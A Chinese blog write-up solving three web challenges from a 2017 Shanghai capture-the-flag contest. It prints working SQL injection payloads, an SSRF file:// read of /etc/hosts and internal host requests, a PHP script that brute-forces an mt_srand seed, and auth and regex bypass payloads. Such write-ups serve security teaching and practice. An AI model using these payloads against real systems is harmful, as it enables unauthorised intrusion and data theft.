Sky's blog

上海线上赛web题解

Word count: 1,290 / Reading time: 7 min
2017/11/05 Share

web100

这题是报错注入
但是updatexml被过滤
随机尝试extractvalue(),发现可用,于是容易得到payload

1
http://e0ec92f66d4f4f92b97c8bf2db8924889ebe29e65a794f86.game.ichunqiu.com/index.php?id=-1 || extractvalue(1,concat(0x7e,database(),0x7e)) -- 1

得到数据库:XPATH syntax error: '~words~'
但是后来想要爆表的时候,发现=被过滤了,于是想到用like代替:

1
http://e0ec92f66d4f4f92b97c8bf2db8924889ebe29e65a794f86.game.ichunqiu.com/index.php?id=-1 || extractvalue(1,concat(0x7e,(select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA like database() limit 0,1),0x7e)) -- 1

得到表名:XPATH syntax error: '~f14g~'
同理可以得到字段名也是f14g
所以得到flag:

1
http://e0ec92f66d4f4f92b97c8bf2db8924889ebe29e65a794f86.game.ichunqiu.com/index.php?id=-1 || extractvalue(1,concat(0x7e,(select f14g from f14g),0x7e)) -- 1

回显:XPATH syntax error: '~flag{42e263c1-28f7-49c2-ab7f-7b'
可以发现需要substr截取:

1
http://e0ec92f66d4f4f92b97c8bf2db8924889ebe29e65a794f86.game.ichunqiu.com/index.php?id=-1 || extractvalue(1,concat(0x7e,(select substr(f14g,30,50) from f14g),0x7e)) -- 1

回显

1
XPATH syntax error: '~7be9af5ffee7}~'

拼接即可得到flag:flag{42e263c1-28f7-49c2-ab7f-7be9af5ffee7}

web200

题目多半是出错了……

1
view-source:http://ccec9ac5a9c64fd38481b0c509d5e98025f15a8c974942cc.game.ichunqiu.com/index.php?action=flag

直接就看到flag了:

1
2
<?php
$flag="flag{25791ac5-1beb-4b64-a125-2de94d0a8833}";

但是这明显是题目问题……于是我去读了源码
index.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
include "function.php";
if(isset($_GET["action"])){
$page = addslashes($_GET["action"]);
}else{
$page = "home";
}
if(file_exists($page.'.php')){

$file = @file_get_contents($page.".php");
echo $file;
}
if(@$_GET["action"]=="album"){
if(isset($_GET["pid"])){
curl($_GET["pid"]);
}
}


?>

function.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php

function curl($url){
$ob = curl_init();
curl_setopt($ob, CURLOPT_URL, $url);
curl_setopt($ob, CURLOPT_HEADER, 0);
$re = curl_exec($ob);
curl_close($ob);

return $re;
}

function getPic($num){
if(file_exists("./IMG/$num.jpg")){
$path = "./IMG/$num.jpg";
return $path;

}
}




?>

我猜测这本来的意思是把flag放内网的机子上
然后:

1
http://ccec9ac5a9c64fd38481b0c509d5e98025f15a8c974942cc.game.ichunqiu.com/index.php?action=album&pid=file:///etc/hosts

可以读到配置:

1
127.0.0.1	localhost ::1	localhost ip6-localhost ip6-loopback fe00::0	ip6-localnet ff00::0	ip6-mcastprefix ff02::1	ip6-allnodes ff02::2	ip6-allrouters 172.17.0.2	173208c42927

然后

1
view-source:http://ccec9ac5a9c64fd38481b0c509d5e98025f15a8c974942cc.game.ichunqiu.com/index.php?action=album&pid=172.17.0.2/index.php?action=flag

即可拿到flag
但是出题人不是是不是突然傻了,直接把flag.php放在了外网上,直接请求就能拿到……无语

web300

随手试出源码泄露:

1
http://cc24a937620845bdbca9d8341cf94edc149359ce4660456e.game.ichunqiu.com/robots.txt

得到:

1
2
Not Allowed:
./code.zip

下载源码后,发现是php zym混淆,随后直接dump出源码,不会的请看下面这篇链接:

1
https://www.leavesongs.com/PENETRATION/unobfuscated-phpjiami.html

还不会就花钱吧……
可以得到源码:
admin.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
if ($_GET['authAdmin'] != "***********")
{
die("No login!");
}
if (!isset($_POST['auth']))
{
die("No Auth");
}
else {
$auth = $_POST['auth'];
$auth_code = "**********";
if (json_decode($auth) == $auth_code) {
;
}
else {
header("Location:index.php");
}
}
?>

file.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
if($_POST["auth"]=="***********"){
if(isset($_GET["id"]) && (strpos($_GET["id"],'jpg') !== false))
{
$id = $_GET["id"];

preg_match("/^php:\/\/.*resource=([^|]*)/i", trim($id), $matches);

if (isset($matches[1]))
$id = $matches[1];

if (file_exists("./" . $id) == false)
die("file not found");
$img_data = fopen($id,'rb');
$data = fread($img_data,filesize($id));
echo $data;
}
else
{
echo "file not found";
}
}
?>

index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php
$seed = rand(0,99999);
mt_srand($seed);
session_start();
function auth_code($length = 12, $special = true)
{
$chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
if ($special) {
$chars .= '!@#$%^&*()';
}
$password = '';
for ($i = 0; $i < $length; $i++) {
$password .= substr($chars, mt_rand(0, strlen($chars) - 1), 1);
}
return $password;
}

$key = auth_code(16, false);
echo "The key is :" . $key . "<br>";
$private = auth_code(10, false);
var_dump($private);


if(isset($_POST['private'])){
if($_POST['private'] === $_SESSION["pri"])
{
header("Location:admin.php");
}
else
{
$_SESSION["pri"] = $private;
die("No private!");
}
}
?>

首先是第一关index.php,看到mt_srand()和mt_rand(),就容易想到可以爆破
我们首先根据网页的回显key爆破出seed,然后用seed生成即可获取$_SESSION["pri"]
爆破脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php 
function auth_code($length = 12, $special = true)
{
$chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
if ($special) {
$chars .= '!@#$%^&*()';
}
$password = '';
for ($i = 0; $i < $length; $i++) {
$password .= substr($chars, mt_rand(0, strlen($chars) - 1), 1);
}
return $password;
}
$i=0;
while (true)
{
mt_srand($i);
$key = auth_code(16, false);
if ($key === "VaasaqmZWalDVsKt")
{
echo $i."\n";
break;
}
else
{
$i = $i+1;
}
}
$private = auth_code(10, false);
echo "private=".$private;
?>
<!-- The key is :TOKgFBVNs43UcSBP<br>string(10) "8XnxQqpV0U" -->

然后即可来到第二关admin.php
注意到:

1
2
3
4
5
6
7
8
9
10
{
$auth = $_POST['auth'];
$auth_code = "**********";
if (json_decode($auth) == $auth_code) {
;
}
else {
header("Location:index.php");
}
}

这里是一个json_decode为true的构造,很简单:

1
2
3
4
<?php 
$auth = True;
$auth = json_encode($auth);
echo $auth;

然后

1
2
http://cc24a937620845bdbca9d8341cf94edc149359ce4660456e.game.ichunqiu.com/admin.php?authAdmin=2017CtfY0ulike
post auth=true

可以得到源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<html>
<head>
<script src="js/jquery-1.9.1.min.js"></script>
</head>
<body>
<form>
<input type="text" name="filename" id="filename">
<input type="button" id="give">
</form>
<script>
$("#give").click(function() {
filename = $("#filename").val();
$.ajax({
url:'file.php',
type:'post',
data:{'id':filename,'auth':'1234567890x'},
dataType:'text',
success:function(result) {
console.log(result);
},
error:function(XMLHttpRequest, textStatus, errorThrown) {
console.log(XMLHttpRequest);
console.log(textStatus);
console.log(errorThrown);
}
})
})
</script>
</body>
</html>

中间发现file的auth:1234567890x
然后直接进入最后的file.php
然后是一个简单的正则匹配+条件限制:

1
2
3
4
5
6
if(isset($_GET["id"]) &&  (strpos($_GET["id"],'jpg') !== false))
{
preg_match("/^php:\/\/.*resource=([^|]*)/i", trim($_GET["id"],'\n'), $match);

if (isset($match[1]))
$_GET["id"] = $match[1];

我们很容易得到payload:

1
view-source:http://cc24a937620845bdbca9d8341cf94edc149359ce4660456e.game.ichunqiu.com/file.php?id=php://resource=jpg/resource=flag.php

即可拿到flag:

1
2
<?php
$flag="flag{53948a39-e6eb-4776-88a6-e9f6d68ce0f3}";

CATALOG
  1. 1. web100
  2. 2. web200
  3. 3. web300